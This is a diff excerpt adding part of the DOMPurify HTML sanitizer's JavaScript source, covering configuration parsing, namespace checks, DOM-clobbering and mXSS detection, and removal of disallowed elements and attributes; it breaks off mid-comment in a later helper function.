+ const DEFAULT_URI_SAFE_ATTRIBUTES = addToSet({}, ['alt', 'class', 'for', 'id', 'label', 'name', 'pattern', 'placeholder', 'role', 'summary', 'title', 'value', 'style', 'xmlns']);
1139
+ const MATHML_NAMESPACE = 'http://www.w3.org/1998/Math/MathML';
1140
+ const SVG_NAMESPACE = 'http://www.w3.org/2000/svg';
1141
+ const HTML_NAMESPACE = 'http://www.w3.org/1999/xhtml';
1142
+ /* Document namespace */
1143
+ let NAMESPACE = HTML_NAMESPACE;
1144
+ let IS_EMPTY_INPUT = false;
1145
+
1146
+ /* Allowed XHTML+XML namespaces */
1147
+ let ALLOWED_NAMESPACES = null;
1148
+ const DEFAULT_ALLOWED_NAMESPACES = addToSet({}, [MATHML_NAMESPACE, SVG_NAMESPACE, HTML_NAMESPACE], stringToString);
1149
+
1150
+ /* Parsing of strict XHTML documents */
1151
+ let PARSER_MEDIA_TYPE = null;
1152
+ const SUPPORTED_PARSER_MEDIA_TYPES = ['application/xhtml+xml', 'text/html'];
1153
+ const DEFAULT_PARSER_MEDIA_TYPE = 'text/html';
1154
+ let transformCaseFunc = null;
1155
+
1156
+ /* Keep a reference to config to pass to hooks */
1157
+ let CONFIG = null;
1158
+
1159
+ /* Ideally, do not touch anything below this line */
1160
+ /* ______________________________________________ */
1161
+
1162
+ const formElement = document.createElement('form');
1163
+ const isRegexOrFunction = function isRegexOrFunction(testValue) {
1164
+ return testValue instanceof RegExp || testValue instanceof Function;
1165
+ };
1166
+
1167
+ /**
1168
+ * _parseConfig
1169
+ *
1170
+ * @param {Object} cfg optional config literal
1171
+ */
1172
+ // eslint-disable-next-line complexity
1173
+ const _parseConfig = function _parseConfig() {
1174
+ let cfg = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
1175
+ if (CONFIG && CONFIG === cfg) {
1176
+ return;
1177
+ }
1178
+
1179
+ /* Shield configuration object from tampering */
1180
+ if (!cfg || typeof cfg !== 'object') {
1181
+ cfg = {};
1182
+ }
1183
+
1184
+ /* Shield configuration object from prototype pollution */
1185
+ cfg = clone(cfg);
1186
+ PARSER_MEDIA_TYPE =
1187
+ // eslint-disable-next-line unicorn/prefer-includes
1188
+ SUPPORTED_PARSER_MEDIA_TYPES.indexOf(cfg.PARSER_MEDIA_TYPE) === -1 ? DEFAULT_PARSER_MEDIA_TYPE : cfg.PARSER_MEDIA_TYPE;
1189
+
1190
+ // HTML tags and attributes are not case-sensitive, converting to lowercase. Keeping XHTML as is.
1191
+ transformCaseFunc = PARSER_MEDIA_TYPE === 'application/xhtml+xml' ? stringToString : stringToLowerCase;
1192
+
1193
+ /* Set configuration parameters */
1194
+ ALLOWED_TAGS = objectHasOwnProperty(cfg, 'ALLOWED_TAGS') ? addToSet({}, cfg.ALLOWED_TAGS, transformCaseFunc) : DEFAULT_ALLOWED_TAGS;
1195
+ ALLOWED_ATTR = objectHasOwnProperty(cfg, 'ALLOWED_ATTR') ? addToSet({}, cfg.ALLOWED_ATTR, transformCaseFunc) : DEFAULT_ALLOWED_ATTR;
1196
+ ALLOWED_NAMESPACES = objectHasOwnProperty(cfg, 'ALLOWED_NAMESPACES') ? addToSet({}, cfg.ALLOWED_NAMESPACES, stringToString) : DEFAULT_ALLOWED_NAMESPACES;
1197
+ URI_SAFE_ATTRIBUTES = objectHasOwnProperty(cfg, 'ADD_URI_SAFE_ATTR') ? addToSet(clone(DEFAULT_URI_SAFE_ATTRIBUTES),
1198
+ // eslint-disable-line indent
1199
+ cfg.ADD_URI_SAFE_ATTR,
1200
+ // eslint-disable-line indent
1201
+ transformCaseFunc // eslint-disable-line indent
1202
+ ) // eslint-disable-line indent
1203
+ : DEFAULT_URI_SAFE_ATTRIBUTES;
1204
+ DATA_URI_TAGS = objectHasOwnProperty(cfg, 'ADD_DATA_URI_TAGS') ? addToSet(clone(DEFAULT_DATA_URI_TAGS),
1205
+ // eslint-disable-line indent
1206
+ cfg.ADD_DATA_URI_TAGS,
1207
+ // eslint-disable-line indent
1208
+ transformCaseFunc // eslint-disable-line indent
1209
+ ) // eslint-disable-line indent
1210
+ : DEFAULT_DATA_URI_TAGS;
1211
+ FORBID_CONTENTS = objectHasOwnProperty(cfg, 'FORBID_CONTENTS') ? addToSet({}, cfg.FORBID_CONTENTS, transformCaseFunc) : DEFAULT_FORBID_CONTENTS;
1212
+ FORBID_TAGS = objectHasOwnProperty(cfg, 'FORBID_TAGS') ? addToSet({}, cfg.FORBID_TAGS, transformCaseFunc) : {};
1213
+ FORBID_ATTR = objectHasOwnProperty(cfg, 'FORBID_ATTR') ? addToSet({}, cfg.FORBID_ATTR, transformCaseFunc) : {};
1214
+ USE_PROFILES = objectHasOwnProperty(cfg, 'USE_PROFILES') ? cfg.USE_PROFILES : false;
1215
+ ALLOW_ARIA_ATTR = cfg.ALLOW_ARIA_ATTR !== false; // Default true
1216
+ ALLOW_DATA_ATTR = cfg.ALLOW_DATA_ATTR !== false; // Default true
1217
+ ALLOW_UNKNOWN_PROTOCOLS = cfg.ALLOW_UNKNOWN_PROTOCOLS || false; // Default false
1218
+ ALLOW_SELF_CLOSE_IN_ATTR = cfg.ALLOW_SELF_CLOSE_IN_ATTR !== false; // Default true
1219
+ SAFE_FOR_TEMPLATES = cfg.SAFE_FOR_TEMPLATES || false; // Default false
1220
+ SAFE_FOR_XML = cfg.SAFE_FOR_XML !== false; // Default true
1221
+ WHOLE_DOCUMENT = cfg.WHOLE_DOCUMENT || false; // Default false
1222
+ RETURN_DOM = cfg.RETURN_DOM || false; // Default false
1223
+ RETURN_DOM_FRAGMENT = cfg.RETURN_DOM_FRAGMENT || false; // Default false
1224
+ RETURN_TRUSTED_TYPE = cfg.RETURN_TRUSTED_TYPE || false; // Default false
1225
+ FORCE_BODY = cfg.FORCE_BODY || false; // Default false
1226
+ SANITIZE_DOM = cfg.SANITIZE_DOM !== false; // Default true
1227
+ SANITIZE_NAMED_PROPS = cfg.SANITIZE_NAMED_PROPS || false; // Default false
1228
+ KEEP_CONTENT = cfg.KEEP_CONTENT !== false; // Default true
1229
+ IN_PLACE = cfg.IN_PLACE || false; // Default false
1230
+ IS_ALLOWED_URI$1 = cfg.ALLOWED_URI_REGEXP || IS_ALLOWED_URI;
1231
+ NAMESPACE = cfg.NAMESPACE || HTML_NAMESPACE;
1232
+ CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};
1233
+ if (cfg.CUSTOM_ELEMENT_HANDLING && isRegexOrFunction(cfg.CUSTOM_ELEMENT_HANDLING.tagNameCheck)) {
1234
+ CUSTOM_ELEMENT_HANDLING.tagNameCheck = cfg.CUSTOM_ELEMENT_HANDLING.tagNameCheck;
1235
+ }
1236
+ if (cfg.CUSTOM_ELEMENT_HANDLING && isRegexOrFunction(cfg.CUSTOM_ELEMENT_HANDLING.attributeNameCheck)) {
1237
+ CUSTOM_ELEMENT_HANDLING.attributeNameCheck = cfg.CUSTOM_ELEMENT_HANDLING.attributeNameCheck;
1238
+ }
1239
+ if (cfg.CUSTOM_ELEMENT_HANDLING && typeof cfg.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements === 'boolean') {
1240
+ CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements = cfg.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements;
1241
+ }
1242
+ if (SAFE_FOR_TEMPLATES) {
1243
+ ALLOW_DATA_ATTR = false;
1244
+ }
1245
+ if (RETURN_DOM_FRAGMENT) {
1246
+ RETURN_DOM = true;
1247
+ }
1248
+
1249
+ /* Parse profile info */
1250
+ if (USE_PROFILES) {
1251
+ ALLOWED_TAGS = addToSet({}, text);
1252
+ ALLOWED_ATTR = [];
1253
+ if (USE_PROFILES.html === true) {
1254
+ addToSet(ALLOWED_TAGS, html$1);
1255
+ addToSet(ALLOWED_ATTR, html);
1256
+ }
1257
+ if (USE_PROFILES.svg === true) {
1258
+ addToSet(ALLOWED_TAGS, svg$1);
1259
+ addToSet(ALLOWED_ATTR, svg);
1260
+ addToSet(ALLOWED_ATTR, xml);
1261
+ }
1262
+ if (USE_PROFILES.svgFilters === true) {
1263
+ addToSet(ALLOWED_TAGS, svgFilters);
1264
+ addToSet(ALLOWED_ATTR, svg);
1265
+ addToSet(ALLOWED_ATTR, xml);
1266
+ }
1267
+ if (USE_PROFILES.mathMl === true) {
1268
+ addToSet(ALLOWED_TAGS, mathMl$1);
1269
+ addToSet(ALLOWED_ATTR, mathMl);
1270
+ addToSet(ALLOWED_ATTR, xml);
1271
+ }
1272
+ }
1273
+
1274
+ /* Merge configuration parameters */
1275
+ if (cfg.ADD_TAGS) {
1276
+ if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS) {
1277
+ ALLOWED_TAGS = clone(ALLOWED_TAGS);
1278
+ }
1279
+ addToSet(ALLOWED_TAGS, cfg.ADD_TAGS, transformCaseFunc);
1280
+ }
1281
+ if (cfg.ADD_ATTR) {
1282
+ if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR) {
1283
+ ALLOWED_ATTR = clone(ALLOWED_ATTR);
1284
+ }
1285
+ addToSet(ALLOWED_ATTR, cfg.ADD_ATTR, transformCaseFunc);
1286
+ }
1287
+ if (cfg.ADD_URI_SAFE_ATTR) {
1288
+ addToSet(URI_SAFE_ATTRIBUTES, cfg.ADD_URI_SAFE_ATTR, transformCaseFunc);
1289
+ }
1290
+ if (cfg.FORBID_CONTENTS) {
1291
+ if (FORBID_CONTENTS === DEFAULT_FORBID_CONTENTS) {
1292
+ FORBID_CONTENTS = clone(FORBID_CONTENTS);
1293
+ }
1294
+ addToSet(FORBID_CONTENTS, cfg.FORBID_CONTENTS, transformCaseFunc);
1295
+ }
1296
+
1297
+ /* Add #text in case KEEP_CONTENT is set to true */
1298
+ if (KEEP_CONTENT) {
1299
+ ALLOWED_TAGS['#text'] = true;
1300
+ }
1301
+
1302
+ /* Add html, head and body to ALLOWED_TAGS in case WHOLE_DOCUMENT is true */
1303
+ if (WHOLE_DOCUMENT) {
1304
+ addToSet(ALLOWED_TAGS, ['html', 'head', 'body']);
1305
+ }
1306
+
1307
+ /* Add tbody to ALLOWED_TAGS in case tables are permitted, see #286, #365 */
1308
+ if (ALLOWED_TAGS.table) {
1309
+ addToSet(ALLOWED_TAGS, ['tbody']);
1310
+ delete FORBID_TAGS.tbody;
1311
+ }
1312
+ if (cfg.TRUSTED_TYPES_POLICY) {
1313
+ if (typeof cfg.TRUSTED_TYPES_POLICY.createHTML !== 'function') {
1314
+ throw typeErrorCreate('TRUSTED_TYPES_POLICY configuration option must provide a "createHTML" hook.');
1315
+ }
1316
+ if (typeof cfg.TRUSTED_TYPES_POLICY.createScriptURL !== 'function') {
1317
+ throw typeErrorCreate('TRUSTED_TYPES_POLICY configuration option must provide a "createScriptURL" hook.');
1318
+ }
1319
+
1320
+ // Overwrite existing TrustedTypes policy.
1321
+ trustedTypesPolicy = cfg.TRUSTED_TYPES_POLICY;
1322
+
1323
+ // Sign local variables required by `sanitize`.
1324
+ emptyHTML = trustedTypesPolicy.createHTML('');
1325
+ } else {
1326
+ // Uninitialized policy, attempt to initialize the internal dompurify policy.
1327
+ if (trustedTypesPolicy === undefined) {
1328
+ trustedTypesPolicy = _createTrustedTypesPolicy(trustedTypes, currentScript);
1329
+ }
1330
+
1331
+ // If creating the internal policy succeeded sign internal variables.
1332
+ if (trustedTypesPolicy !== null && typeof emptyHTML === 'string') {
1333
+ emptyHTML = trustedTypesPolicy.createHTML('');
1334
+ }
1335
+ }
1336
+
1337
+ // Prevent further manipulation of configuration.
1338
+ // Not available in IE8, Safari 5, etc.
1339
+ if (freeze) {
1340
+ freeze(cfg);
1341
+ }
1342
+ CONFIG = cfg;
1343
+ };
1344
+ const MATHML_TEXT_INTEGRATION_POINTS = addToSet({}, ['mi', 'mo', 'mn', 'ms', 'mtext']);
1345
+ const HTML_INTEGRATION_POINTS = addToSet({}, ['foreignobject', 'annotation-xml']);
1346
+
1347
+ // Certain elements are allowed in both SVG and HTML
1348
+ // namespace. We need to specify them explicitly
1349
+ // so that they don't get erroneously deleted from
1350
+ // HTML namespace.
1351
+ const COMMON_SVG_AND_HTML_ELEMENTS = addToSet({}, ['title', 'style', 'font', 'a', 'script']);
1352
+
1353
+ /* Keep track of all possible SVG and MathML tags
1354
+ * so that we can perform the namespace checks
1355
+ * correctly. */
1356
+ const ALL_SVG_TAGS = addToSet({}, [...svg$1, ...svgFilters, ...svgDisallowed]);
1357
+ const ALL_MATHML_TAGS = addToSet({}, [...mathMl$1, ...mathMlDisallowed]);
1358
+
1359
+ /**
1360
+ * @param {Element} element a DOM element whose namespace is being checked
1361
+ * @returns {boolean} Return false if the element has a
1362
+ * namespace that a spec-compliant parser would never
1363
+ * return. Return true otherwise.
1364
+ */
1365
+ const _checkValidNamespace = function _checkValidNamespace(element) {
1366
+ let parent = getParentNode(element);
1367
+
1368
+ // In JSDOM, if we're inside shadow DOM, then parentNode
1369
+ // can be null. We just simulate parent in this case.
1370
+ if (!parent || !parent.tagName) {
1371
+ parent = {
1372
+ namespaceURI: NAMESPACE,
1373
+ tagName: 'template'
1374
+ };
1375
+ }
1376
+ const tagName = stringToLowerCase(element.tagName);
1377
+ const parentTagName = stringToLowerCase(parent.tagName);
1378
+ if (!ALLOWED_NAMESPACES[element.namespaceURI]) {
1379
+ return false;
1380
+ }
1381
+ if (element.namespaceURI === SVG_NAMESPACE) {
1382
+ // The only way to switch from HTML namespace to SVG
1383
+ // is via <svg>. If it happens via any other tag, then
1384
+ // it should be killed.
1385
+ if (parent.namespaceURI === HTML_NAMESPACE) {
1386
+ return tagName === 'svg';
1387
+ }
1388
+
1389
+ // The only way to switch from MathML to SVG is via`
1390
+ // svg if parent is either <annotation-xml> or MathML
1391
+ // text integration points.
1392
+ if (parent.namespaceURI === MATHML_NAMESPACE) {
1393
+ return tagName === 'svg' && (parentTagName === 'annotation-xml' || MATHML_TEXT_INTEGRATION_POINTS[parentTagName]);
1394
+ }
1395
+
1396
+ // We only allow elements that are defined in SVG
1397
+ // spec. All others are disallowed in SVG namespace.
1398
+ return Boolean(ALL_SVG_TAGS[tagName]);
1399
+ }
1400
+ if (element.namespaceURI === MATHML_NAMESPACE) {
1401
+ // The only way to switch from HTML namespace to MathML
1402
+ // is via <math>. If it happens via any other tag, then
1403
+ // it should be killed.
1404
+ if (parent.namespaceURI === HTML_NAMESPACE) {
1405
+ return tagName === 'math';
1406
+ }
1407
+
1408
+ // The only way to switch from SVG to MathML is via
1409
+ // <math> and HTML integration points
1410
+ if (parent.namespaceURI === SVG_NAMESPACE) {
1411
+ return tagName === 'math' && HTML_INTEGRATION_POINTS[parentTagName];
1412
+ }
1413
+
1414
+ // We only allow elements that are defined in MathML
1415
+ // spec. All others are disallowed in MathML namespace.
1416
+ return Boolean(ALL_MATHML_TAGS[tagName]);
1417
+ }
1418
+ if (element.namespaceURI === HTML_NAMESPACE) {
1419
+ // The only way to switch from SVG to HTML is via
1420
+ // HTML integration points, and from MathML to HTML
1421
+ // is via MathML text integration points
1422
+ if (parent.namespaceURI === SVG_NAMESPACE && !HTML_INTEGRATION_POINTS[parentTagName]) {
1423
+ return false;
1424
+ }
1425
+ if (parent.namespaceURI === MATHML_NAMESPACE && !MATHML_TEXT_INTEGRATION_POINTS[parentTagName]) {
1426
+ return false;
1427
+ }
1428
+
1429
+ // We disallow tags that are specific for MathML
1430
+ // or SVG and should never appear in HTML namespace
1431
+ return !ALL_MATHML_TAGS[tagName] && (COMMON_SVG_AND_HTML_ELEMENTS[tagName] || !ALL_SVG_TAGS[tagName]);
1432
+ }
1433
+
1434
+ // For XHTML and XML documents that support custom namespaces
1435
+ if (PARSER_MEDIA_TYPE === 'application/xhtml+xml' && ALLOWED_NAMESPACES[element.namespaceURI]) {
1436
+ return true;
1437
+ }
1438
+
1439
+ // The code should never reach this place (this means
1440
+ // that the element somehow got namespace that is not
1441
+ // HTML, SVG, MathML or allowed via ALLOWED_NAMESPACES).
1442
+ // Return false just in case.
1443
+ return false;
1444
+ };
1445
+
1446
+ /**
1447
+ * _forceRemove
1448
+ *
1449
+ * @param {Node} node a DOM node
1450
+ */
1451
+ const _forceRemove = function _forceRemove(node) {
1452
+ arrayPush(DOMPurify.removed, {
1453
+ element: node
1454
+ });
1455
+ try {
1456
+ // eslint-disable-next-line unicorn/prefer-dom-node-remove
1457
+ getParentNode(node).removeChild(node);
1458
+ } catch (_) {
1459
+ remove(node);
1460
+ }
1461
+ };
1462
+
1463
+ /**
1464
+ * _removeAttribute
1465
+ *
1466
+ * @param {String} name an Attribute name
1467
+ * @param {Node} node a DOM node
1468
+ */
1469
+ const _removeAttribute = function _removeAttribute(name, node) {
1470
+ try {
1471
+ arrayPush(DOMPurify.removed, {
1472
+ attribute: node.getAttributeNode(name),
1473
+ from: node
1474
+ });
1475
+ } catch (_) {
1476
+ arrayPush(DOMPurify.removed, {
1477
+ attribute: null,
1478
+ from: node
1479
+ });
1480
+ }
1481
+ node.removeAttribute(name);
1482
+
1483
+ // We void attribute values for unremovable "is"" attributes
1484
+ if (name === 'is' && !ALLOWED_ATTR[name]) {
1485
+ if (RETURN_DOM || RETURN_DOM_FRAGMENT) {
1486
+ try {
1487
+ _forceRemove(node);
1488
+ } catch (_) {}
1489
+ } else {
1490
+ try {
1491
+ node.setAttribute(name, '');
1492
+ } catch (_) {}
1493
+ }
1494
+ }
1495
+ };
1496
+
1497
+ /**
1498
+ * _initDocument
1499
+ *
1500
+ * @param {String} dirty a string of dirty markup
1501
+ * @return {Document} a DOM, filled with the dirty markup
1502
+ */
1503
+ const _initDocument = function _initDocument(dirty) {
1504
+ /* Create a HTML document */
1505
+ let doc = null;
1506
+ let leadingWhitespace = null;
1507
+ if (FORCE_BODY) {
1508
+ dirty = '<remove></remove>' + dirty;
1509
+ } else {
1510
+ /* If FORCE_BODY isn't used, leading whitespace needs to be preserved manually */
1511
+ const matches = stringMatch(dirty, /^[\r\n\t ]+/);
1512
+ leadingWhitespace = matches && matches[0];
1513
+ }
1514
+ if (PARSER_MEDIA_TYPE === 'application/xhtml+xml' && NAMESPACE === HTML_NAMESPACE) {
1515
+ // Root of XHTML doc must contain xmlns declaration (see https://www.w3.org/TR/xhtml1/normative.html#strict)
1516
+ dirty = '<html xmlns="http://www.w3.org/1999/xhtml"><head></head><body>' + dirty + '</body></html>';
1517
+ }
1518
+ const dirtyPayload = trustedTypesPolicy ? trustedTypesPolicy.createHTML(dirty) : dirty;
1519
+ /*
1520
+ * Use the DOMParser API by default, fallback later if needs be
1521
+ * DOMParser not work for svg when has multiple root element.
1522
+ */
1523
+ if (NAMESPACE === HTML_NAMESPACE) {
1524
+ try {
1525
+ doc = new DOMParser().parseFromString(dirtyPayload, PARSER_MEDIA_TYPE);
1526
+ } catch (_) {}
1527
+ }
1528
+
1529
+ /* Use createHTMLDocument in case DOMParser is not available */
1530
+ if (!doc || !doc.documentElement) {
1531
+ doc = implementation.createDocument(NAMESPACE, 'template', null);
1532
+ try {
1533
+ doc.documentElement.innerHTML = IS_EMPTY_INPUT ? emptyHTML : dirtyPayload;
1534
+ } catch (_) {
1535
+ // Syntax error if dirtyPayload is invalid xml
1536
+ }
1537
+ }
1538
+ const body = doc.body || doc.documentElement;
1539
+ if (dirty && leadingWhitespace) {
1540
+ body.insertBefore(document.createTextNode(leadingWhitespace), body.childNodes[0] || null);
1541
+ }
1542
+
1543
+ /* Work on whole document or just its body */
1544
+ if (NAMESPACE === HTML_NAMESPACE) {
1545
+ return getElementsByTagName.call(doc, WHOLE_DOCUMENT ? 'html' : 'body')[0];
1546
+ }
1547
+ return WHOLE_DOCUMENT ? doc.documentElement : body;
1548
+ };
1549
+
1550
+ /**
1551
+ * Creates a NodeIterator object that you can use to traverse filtered lists of nodes or elements in a document.
1552
+ *
1553
+ * @param {Node} root The root element or node to start traversing on.
1554
+ * @return {NodeIterator} The created NodeIterator
1555
+ */
1556
+ const _createNodeIterator = function _createNodeIterator(root) {
1557
+ return createNodeIterator.call(root.ownerDocument || root, root,
1558
+ // eslint-disable-next-line no-bitwise
1559
+ NodeFilter.SHOW_ELEMENT | NodeFilter.SHOW_COMMENT | NodeFilter.SHOW_TEXT | NodeFilter.SHOW_PROCESSING_INSTRUCTION | NodeFilter.SHOW_CDATA_SECTION, null);
1560
+ };
1561
+
1562
+ /**
1563
+ * _isClobbered
1564
+ *
1565
+ * @param {Node} elm element to check for clobbering attacks
1566
+ * @return {Boolean} true if clobbered, false if safe
1567
+ */
1568
+ const _isClobbered = function _isClobbered(elm) {
1569
+ return elm instanceof HTMLFormElement && (typeof elm.nodeName !== 'string' || typeof elm.textContent !== 'string' || typeof elm.removeChild !== 'function' || !(elm.attributes instanceof NamedNodeMap) || typeof elm.removeAttribute !== 'function' || typeof elm.setAttribute !== 'function' || typeof elm.namespaceURI !== 'string' || typeof elm.insertBefore !== 'function' || typeof elm.hasChildNodes !== 'function');
1570
+ };
1571
+
1572
+ /**
1573
+ * Checks whether the given object is a DOM node.
1574
+ *
1575
+ * @param {Node} object object to check whether it's a DOM node
1576
+ * @return {Boolean} true is object is a DOM node
1577
+ */
1578
+ const _isNode = function _isNode(object) {
1579
+ return typeof Node === 'function' && object instanceof Node;
1580
+ };
1581
+
1582
+ /**
1583
+ * _executeHook
1584
+ * Execute user configurable hooks
1585
+ *
1586
+ * @param {String} entryPoint Name of the hook's entry point
1587
+ * @param {Node} currentNode node to work on with the hook
1588
+ * @param {Object} data additional hook parameters
1589
+ */
1590
+ const _executeHook = function _executeHook(entryPoint, currentNode, data) {
1591
+ if (!hooks[entryPoint]) {
1592
+ return;
1593
+ }
1594
+ arrayForEach(hooks[entryPoint], hook => {
1595
+ hook.call(DOMPurify, currentNode, data, CONFIG);
1596
+ });
1597
+ };
1598
+
1599
+ /**
1600
+ * _sanitizeElements
1601
+ *
1602
+ * @protect nodeName
1603
+ * @protect textContent
1604
+ * @protect removeChild
1605
+ *
1606
+ * @param {Node} currentNode to check for permission to exist
1607
+ * @return {Boolean} true if node was killed, false if left alive
1608
+ */
1609
+ const _sanitizeElements = function _sanitizeElements(currentNode) {
1610
+ let content = null;
1611
+
1612
+ /* Execute a hook if present */
1613
+ _executeHook('beforeSanitizeElements', currentNode, null);
1614
+
1615
+ /* Check if element is clobbered or can clobber */
1616
+ if (_isClobbered(currentNode)) {
1617
+ _forceRemove(currentNode);
1618
+ return true;
1619
+ }
1620
+
1621
+ /* Now let's check the element's type and name */
1622
+ const tagName = transformCaseFunc(currentNode.nodeName);
1623
+
1624
+ /* Execute a hook if present */
1625
+ _executeHook('uponSanitizeElement', currentNode, {
1626
+ tagName,
1627
+ allowedTags: ALLOWED_TAGS
1628
+ });
1629
+
1630
+ /* Detect mXSS attempts abusing namespace confusion */
1631
+ if (currentNode.hasChildNodes() && !_isNode(currentNode.firstElementChild) && regExpTest(/<[/\w]/g, currentNode.innerHTML) && regExpTest(/<[/\w]/g, currentNode.textContent)) {
1632
+ _forceRemove(currentNode);
1633
+ return true;
1634
+ }
1635
+
1636
+ /* Remove any occurrence of processing instructions */
1637
+ if (currentNode.nodeType === NODE_TYPE.progressingInstruction) {
1638
+ _forceRemove(currentNode);
1639
+ return true;
1640
+ }
1641
+
1642
+ /* Remove any kind of possibly harmful comments */
1643
+ if (SAFE_FOR_XML && currentNode.nodeType === NODE_TYPE.comment && regExpTest(/<[/\w]/g, currentNode.data)) {
1644
+ _forceRemove(currentNode);
1645
+ return true;
1646
+ }
1647
+
1648
+ /* Remove element if anything forbids its presence */
1649
+ if (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) {
1650
+ /* Check if we have a custom element to handle */
1651
+ if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
1652
+ if (CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)) {
1653
+ return false;
1654
+ }
1655
+ if (CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)) {
1656
+ return false;
1657
+ }
1658
+ }
1659
+
1660
+ /* Keep content except for bad-listed elements */
1661
+ if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) {
1662
+ const parentNode = getParentNode(currentNode) || currentNode.parentNode;
1663
+ const childNodes = getChildNodes(currentNode) || currentNode.childNodes;
1664
+ if (childNodes && parentNode) {
1665
+ const childCount = childNodes.length;
1666
+ for (let i = childCount - 1; i >= 0; --i) {
1667
+ const childClone = cloneNode(childNodes[i], true);
1668
+ childClone.__removalCount = (currentNode.__removalCount || 0) + 1;
1669
+ parentNode.insertBefore(childClone, getNextSibling(currentNode));
1670
+ }
1671
+ }
1672
+ }
1673
+ _forceRemove(currentNode);
1674
+ return true;
1675
+ }
1676
+
1677
+ /* Check whether element has a valid namespace */
1678
+ if (currentNode instanceof Element && !_checkValidNamespace(currentNode)) {
1679
+ _forceRemove(currentNode);
1680
+ return true;
1681
+ }
1682
+
1683
+ /* Make sure that older browsers don't get fallback-tag mXSS */
1684
+ if ((tagName === 'noscript' || tagName === 'noembed' || tagName === 'noframes') && regExpTest(/<\/no(script|embed|frames)/i, currentNode.innerHTML)) {
1685
+ _forceRemove(currentNode);
1686
+ return true;
1687
+ }
1688
+
1689
+ /* Sanitize element content to be template-safe */
1690
+ if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {
1691
+ /* Get the element's text content */
1692
+ content = currentNode.textContent;
1693
+ arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], expr => {
1694
+ content = stringReplace(content, expr, ' ');
1695
+ });
1696
+ if (currentNode.textContent !== content) {
1697
+ arrayPush(DOMPurify.removed, {
1698
+ element: currentNode.cloneNode()
1699
+ });
1700
+ currentNode.textContent = content;
1701
+ }
1702
+ }
1703
+
1704
+ /* Execute a hook if present */
1705
+ _executeHook('afterSanitizeElements', currentNode, null);
1706
+ return false;
1707
+ };
1708
+
1709
+ /**
1710
+ * _isValidAttribute
1711
+ *
1712
+ * @param {string} lcTag Lowercase tag name of containing element.
1713
+ * @param {string} lcName Lowercase attribute name.
1714
+ * @param {string} value Attribute value.
1715
+ * @return {Boolean} Returns true if `value` is valid, otherwise false.
1716
+ */
1717
+ // eslint-disable-next-line complexity
1718
+ const _isValidAttribute = function _isValidAttribute(lcTag, lcName, value) {
1719
+ /* Make sure attribute cannot clobber */
1720
+ if (SANITIZE_DOM && (lcName === 'id' || lcName === 'name') && (value in document || value in formElement)) {
1721
+ return false;
1722
+ }
1723
+
1724
+ /* Allow valid data-* attributes: At least one character after "-"
1725
+ (https://html.spec.whatwg.org/multipage/dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes)
1726
+ XML-compatible (https://html.spec.whatwg.org/multipage/infrastructure.html#xml-compatible and http://www.w3.org/TR/xml/#d0e804)
1727
+ We don't need to check the value; it's always URI safe. */
1728
+ if (ALLOW_DATA_ATTR && !FORBID_ATTR[lcName] && regExpTest(DATA_ATTR, lcName)) ; else if (ALLOW_ARIA_ATTR && regExpTest(ARIA_ATTR, lcName)) ; else if (!ALLOWED_ATTR[lcName] || FORBID_ATTR[lcName]) {
1729
+ if (
1730
+ // First condition does a very basic check if a) it's basically a valid custom element tagname AND
1731
+ // b) if the tagName passes whatever the user has configured for CUSTOM_ELEMENT_HANDLING.tagNameCheck
1732
+ // and c) if the attribute name passes whatever the user has configured for CUSTOM_ELEMENT_HANDLING.attributeNameCheck
1733
+ _isBasicCustomElement(lcTag) && (CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, lcTag) || CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.tagNameCheck(lcTag)) && (CUSTOM_ELEMENT_HANDLING.attributeNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.attributeNameCheck, lcName) || CUSTOM_ELEMENT_HANDLING.attributeNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.attributeNameCheck(lcName)) ||
1734
+ // Alternative, second condition checks if it's an `is`-attribute, AND
1735
+ // the value passes whatever the user has configured for CUSTOM_ELEMENT_HANDLING.tagNameCheck
1736
+ lcName === 'is' && CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements && (CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, value) || CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.tagNameCheck(value))) ; else {
1737
+ return false;
1738
+ }
1739
+ /* Check value is safe. First, is attr inert? If so, is safe */
1740
+ } else if (URI_SAFE_ATTRIBUTES[lcName]) ; else if (regExpTest(IS_ALLOWED_URI$1, stringReplace(value, ATTR_WHITESPACE, ''))) ; else if ((lcName === 'src' || lcName === 'xlink:href' || lcName === 'href') && lcTag !== 'script' && stringIndexOf(value, 'data:') === 0 && DATA_URI_TAGS[lcTag]) ; else if (ALLOW_UNKNOWN_PROTOCOLS && !regExpTest(IS_SCRIPT_OR_DATA, stringReplace(value, ATTR_WHITESPACE, ''))) ; else if (value) {
1741
+ return false;
1742
+ } else ;
1743
+ return true;
1744
+ };
1745
+
1746
+ /**
1747
+ * _isBasicCustomElement
1748
+ * checks if at least one dash is included in tagName, and it's not the first char
1749
+ * for more sophisticated checking see https://github.com/sindresorhus/validate-element-name
1750
+ *
1751
+ * @param {string} tagName name of the tag of the node to sanitize
1752
